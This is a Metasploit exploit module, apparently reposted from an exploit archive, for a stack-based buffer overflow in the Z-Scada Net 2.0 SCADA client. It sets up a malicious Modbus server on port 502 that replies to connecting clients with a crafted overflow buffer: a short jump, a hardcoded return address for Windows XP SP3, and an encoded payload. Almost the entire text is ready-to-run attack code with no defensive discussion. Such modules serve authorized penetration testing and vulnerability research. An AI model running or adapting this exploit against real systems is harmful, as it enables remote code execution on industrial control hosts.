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ZScada Modbus Buffer 2.0 - Stack-Based Buffer Overflow Exploit
[require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::TcpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'ZScada Net Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow found in
Z-Scada Net 2.0. The vulnerability is triggered when parsing
the response to a Modbus packet.
},
'Author' => [ 'james fitts' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'url', 'https://lists.immunityinc.com/pipermail/canvas/2014-December/000141.html' ],
],
'Privileged' => false,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "",
'StackAdjustment' => -3500
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3 EN',
{
# zscadanet.exe v1.0
# pop ecx/ pop ebp/ retn
'Ret' => 0x00429c35
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 11 2014'))
register_options(
[
OptPort.new('SRVPORT', [ true, "The port to listen on", 502])
], self.class)
end
def on_client_data(client)
p = payload.encoded
buf = pattern_create(5000)
buf[574, 4] = [0x909006eb].pack('V') # jmp $+8
buf[578, 4] = [target.ret].pack('V')
buf[582, 24] = "\x41" * 24
buf[606, p.length] = p
client.put(buf)
handler
service.close_client(client)
end
end
# 0day.today [2024-12-25] #